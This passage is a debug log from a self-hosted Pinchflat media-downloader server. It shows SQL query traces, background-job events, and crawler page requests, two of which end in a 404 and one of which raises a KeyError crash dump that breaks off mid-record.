{"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:14:40.080 [info] GET /sources/new 08:14:40.080 [info] GET /sources/2 08:14:40.081 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{"template_id" => "2"} Pipelines: [:browser] 08:14:40.081 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"delete_files" => "true", "id" => "2"} Pipelines: [:browser] 08:14:40.083 [debug] QUERY OK source="sources" db=1.1ms idle=1302.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 08:14:40.083 [debug] QUERY OK source="sources" db=1.2ms idle=1180.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 08:14:40.085 [debug] QUERY OK source="media_profiles" db=0.9ms idle=400.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:14:40.085 [debug] QUERY OK source="media_profiles" db=1.2ms idle=400.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 08:14:40.086 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=181.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:14:40.087 [debug] QUERY OK source="tasks" db=1.5ms idle=2.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 08:14:40.088 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:14:40.088 [debug] QUERY OK source="settings" db=0.5ms queue=0.2ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:14:40.088 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:14:40.089 [debug] QUERY OK source="settings" db=0.2ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:14:40.090 [debug] QUERY OK source="settings" db=0.4ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:14:40.090 [debug] QUERY OK source="settings" db=0.8ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:14:40.093 [debug] QUERY OK source="settings" db=1.4ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:14:40.094 [debug] QUERY OK source="sources" db=0.2ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 08:14:40.095 [debug] QUERY OK source="media_items" db=0.7ms idle=5.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 08:14:40.097 [debug] QUERY OK source="media_items" db=1.5ms idle=5.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 08:14:40.099 [debug] QUERY OK source="sources" db=0.3ms idle=7.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 08:14:40.099 [info] Sent 200 in 19ms 08:14:40.099 [debug] QUERY OK source="media_items" db=0.3ms idle=6.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 08:14:40.101 [debug] QUERY OK source="media_items" db=1.0ms idle=5.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 08:14:40.103 [debug] QUERY OK source="sources" db=0.3ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 08:14:40.104 [debug] QUERY OK source="media_items" db=0.5ms idle=6.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 08:14:40.105 [debug] QUERY OK source="media_items" db=1.1ms idle=5.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 08:14:40.107 [info] Sent 200 in 26ms 08:14:40.639 [info] GET /sources/5 08:14:40.639 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"delete_files" => "true", "id" => "5"} Pipelines: [:browser] 08:14:40.640 [debug] QUERY OK source="sources" db=0.4ms idle=540.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 08:14:40.641 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=539.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:14:40.660 [debug] QUERY OK source="tasks" db=18.0ms idle=538.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [5, "executing", "available", "scheduled", "retryable"] 08:14:40.660 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=555.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2617] 08:14:40.661 [debug] QUERY OK source="settings" db=0.2ms idle=555.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:14:40.661 [debug] QUERY OK source="settings" db=0.2ms idle=20.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:14:40.662 [debug] QUERY OK source="settings" db=0.1ms idle=20.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:14:40.664 [debug] QUERY OK source="sources" db=0.1ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 08:14:40.665 [debug] QUERY OK source="media_items" db=1.0ms idle=4.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 08:14:40.667 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=4.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 08:14:40.668 [debug] QUERY OK source="sources" db=0.2ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 08:14:40.669 [debug] QUERY OK source="media_items" db=0.2ms queue=0.1ms idle=6.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 08:14:40.670 [debug] QUERY OK source="media_items" db=0.7ms idle=4.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 08:14:40.671 [debug] QUERY OK source="sources" db=0.2ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 08:14:40.672 [debug] QUERY OK source="media_items" db=0.4ms idle=4.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [5] 08:14:40.674 [debug] QUERY OK source="media_items" db=1.3ms idle=4.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 08:14:40.675 [info] Sent 200 in 36ms 08:15:00.591 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:15:08.782 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:15:22.077 [info] GET /sources/2/force_download_pending 08:15:22.077 [info] GET /sources/5/force_download_pending 08:15:22.078 [debug] QUERY OK source="settings" db=0.8ms idle=394.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:15:22.078 [debug] QUERY OK source="settings" db=0.8ms idle=1089.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:15:22.079 [debug] QUERY OK source="settings" db=0.4ms idle=395.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:15:22.079 [debug] QUERY OK source="settings" db=0.4ms idle=395.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:15:22.079 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 08:15:22.080 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 08:15:22.080 [error] #PID<0.273940.0> running PinchflatWeb.Endpoint (connection #PID<0.273938.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/2/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.273938.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_download_pending", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 36112}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.273940.0>, params: %{}, path_info: ["sources", 